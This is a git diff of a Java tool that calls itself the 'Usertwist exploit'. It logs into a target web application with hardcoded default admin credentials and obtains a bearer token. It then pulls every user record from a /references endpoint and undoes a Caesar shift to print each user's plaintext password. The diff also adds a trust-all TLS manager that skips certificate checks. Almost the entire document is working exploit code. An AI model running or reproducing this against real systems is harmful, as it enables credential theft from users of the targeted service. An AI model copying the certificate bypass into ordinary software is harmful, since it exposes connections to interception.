diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml index 869c305..ec2d9bf 100644 --- a/.idea/inspectionProfiles/Project_Default.xml +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -2,7 +2,7 @@ \ No newline at end of file diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index fa5c910..6c74f54 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -1,26 +1,39 @@ package fr.motysten.usertwist.exploit; -import fr.motysten.usertwist.exploit.tools.Cesar; +import fr.motysten.usertwist.exploit.tools.Parser; +import fr.motysten.usertwist.exploit.tools.Request; import org.json.JSONArray; import org.json.JSONObject; +import javax.net.ssl.SSLException; +import javax.net.ssl.SSLHandshakeException; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; -import java.net.URI; -import java.net.http.HttpClient; -import java.net.http.HttpRequest; import java.net.http.HttpResponse; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; public class Main { public static String link = "https://poc.athelas.fr"; public static String username = "admin"; public static String password = "AdminSecret1C"; + public static String port = "443"; + public static int rotation = 4; + public static boolean insecure = false; + public static boolean asynchronous = true; - public static void main(String[] args) throws IOException, InterruptedException { + public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); + if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) { + asynchronous = false; + } + System.out.println("Usertwist exploit by Motysten"); System.out.println("Please don't use for unethical purpose !\n"); String readLine; @@ -29,6 +42,10 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {link = readLine;} + System.out.println("Please enter the port of the remote web server (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {port = readLine;} + System.out.println("Please enter the used username (leave empty to use default) :"); readLine = reader.readLine(); if (!readLine.isEmpty()) {username = readLine;} @@ -37,7 +54,9 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {password = readLine;} - HttpClient client = HttpClient.newHttpClient(); + System.out.println("Please enter the cesar offset (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);} JSONObject requestJSON = new JSONObject(); requestJSON.put("username", username); @@ -45,17 +64,52 @@ public class Main { System.out.println("Gathering Bearer token..."); - HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .build(); + HttpResponse response = null; - HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString()); + boolean tokenFound = false; + while (!tokenFound) { + try { + response = Request.get(link, port, "/login", requestJSON, null, insecure); + if (response.statusCode() == 308) { + System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]"); + if (reader.readLine().equalsIgnoreCase("n")) { + System.err.println("Operation aborted ! Security failure."); + } else { + link = link.replaceFirst("http", "https"); + port = "443"; + } + } else { + tokenFound = true; + } + } catch (SSLHandshakeException e) { + System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network."); + System.err.println("Would you like to continue anyway ? [y/N]"); + if (!reader.readLine().equalsIgnoreCase("y")) { + System.err.println("Operation aborted ! Security failure."); + System.exit(1); + } else { + insecure = true; + } + } catch (SSLException e) { + if (e.getMessage().contains("plaintext connection?")) { + System.err.println("Looks like you're trying to send an HTTPS request on HTTP port. Would you like to switch on port 443 ? [Y/n]"); + if (reader.readLine().equalsIgnoreCase("n")) { + System.err.println("Operation aborted !"); + System.exit(1); + } else { + port = "443"; + } + } + } + } if (response.statusCode() == 401) { - System.err.println("Invalid credentials ! Pleas try again (defaults credentials could help)"); + System.err.println("Invalid credentials ! Please try again (defaults credentials could help)"); System.exit(1); } + System.out.println(response.statusCode()); + JSONObject responseObject = new JSONObject(response.body()); String token = responseObject.optString("token"); @@ -67,24 +121,24 @@ public class Main { System.out.println("\nScanning for existing users..."); - request = HttpRequest.newBuilder(URI.create(link + "/references")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .setHeader("Authorization", "Bearer " + token) - .build(); + Map headers = new HashMap<>(); + headers.put("Authorization", "Bearer " + token); - response = client.send(request, HttpResponse.BodyHandlers.ofString()); + response = Request.get(link, port, "/references", requestJSON, headers, insecure); JSONArray usersArray = new JSONArray(response.body()); System.out.println(usersArray.length() + " users found !"); System.out.println("\nDecrypting passwords...\n"); - for (int i = 0; i < usersArray.length(); i++) { - JSONObject user = usersArray.getJSONObject(i); - String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), -4); - - System.out.println((i + 1) + ". " + login + " => " + password); + float startTime = System.nanoTime(); + if (asynchronous) { + Parser.asyncGetPass(usersArray, rotation); + } else { + Parser.getPass(usersArray, rotation); } + float elapsedTime = (System.nanoTime() - startTime) / 1000000; + System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms"); + } } diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java index 8b35445..e11ccff 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -1,34 +1,33 @@ package fr.motysten.usertwist.exploit.tools; +import java.util.stream.Collectors; + public class Cesar { - public static String cesarRotate(String input, int offset) { + public static String rotate(String input, int offset) { + char normalizeKey = (char) (offset % 26); - String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; - if (offset < 0) { - LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString(); - offset = -offset; - } - String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); - - StringBuilder output = new StringBuilder(); - - - for (int i = 0; i < input.length(); i++) { - char newChar = input.charAt(i); - if (!Character.isDigit(input.charAt(i))) { - int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i))); - int newPos = (pos + offset) % 26; - if (Character.isUpperCase(input.charAt(i))) { - newChar = UPPER_ALPHABET.charAt(newPos); - } else { - newChar = LOWER_ALPHABET.charAt(newPos); - } - } - output.append(newChar); - } - - return output.toString(); + return input.chars() + .mapToObj(c -> (char) c) + .map(c -> { + if (Character.isLetter(c)) { + char base; + if (Character.isUpperCase(c)) { + base = 'A'; + } else { + base = 'a'; + } + if (offset < 0) { + return (char) (base + (c - base + normalizeKey) % 26); + } else { + return (char) (base + (c - base - normalizeKey + 26) % 26); + } + } else { + return c; + } + }) + .map(String::valueOf) + .collect(Collectors.joining()); } } diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java new file mode 100644 index 0000000..2ce115f --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java @@ -0,0 +1,33 @@ +package fr.motysten.usertwist.exploit.tools; + +import org.json.JSONArray; +import org.json.JSONObject; + +public class Parser { + + public static void getPass(JSONArray usersArray, int rotation) { + for (int i = 0; i < usersArray.length(); i++) { + JSONObject user = usersArray.getJSONObject(i); + String login = user.getString("username"); + String password = Cesar.rotate(user.getString("data"), rotation); + + System.out.println((i + 1) + ". " + login + " => " + password); + } + } + + public static void asyncGetPass(JSONArray usersArray, int rotation) { + + for (int i = 0; i < usersArray.length(); i++) { + + int finalI = i; + new Thread(() -> { + JSONObject user = usersArray.getJSONObject(finalI); + String login = user.getString("username"); + String password = Cesar.rotate(user.getString("data"), rotation); + + System.out.println((finalI + 1) + ". " + login + " => " + password); + }).start(); + } + } + +} diff --git a/src/fr/motysten/usertwist/exploit/tools/Request.java b/src/fr/motysten/usertwist/exploit/tools/Request.java new file mode 100644 index 0000000..f720cda --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Request.java @@ -0,0 +1,42 @@ +package fr.motysten.usertwist.exploit.tools; + +import org.json.JSONObject; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Map; + +public class Request { + + public static HttpResponse get(String link, String port, String endpoint,JSONObject params, Map headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException { + HttpClient client = HttpClient.newHttpClient(); + + if (insecure) { + SSLContext customContext = SSLContext.getInstance("TLS"); + customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); + + client = HttpClient.newBuilder().sslContext(customContext).build(); + } + + HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint)); + if (headers != null) { + for (Map.Entry header : headers.entrySet()) { + builder.setHeader(header.getKey(), header.getValue()); + } + } + + builder.POST(HttpRequest.BodyPublishers.ofString(params.toString())); + HttpRequest request = builder.build(); + + return client.send(request, HttpResponse.BodyHandlers.ofString()); + } + +} diff --git a/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java new file mode 100644 index 0000000..94fb2c9 --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java @@ -0,0 +1,43 @@ +package fr.motysten.usertwist.exploit.tools; + +import javax.net.ssl.SSLEngine; +import javax.net.ssl.X509ExtendedTrustManager; +import java.net.Socket; +import java.security.cert.X509Certificate; + +public class SSLBypass extends X509ExtendedTrustManager { + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) { + + } + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) { + + } + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s) { + + } + + @Override + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +}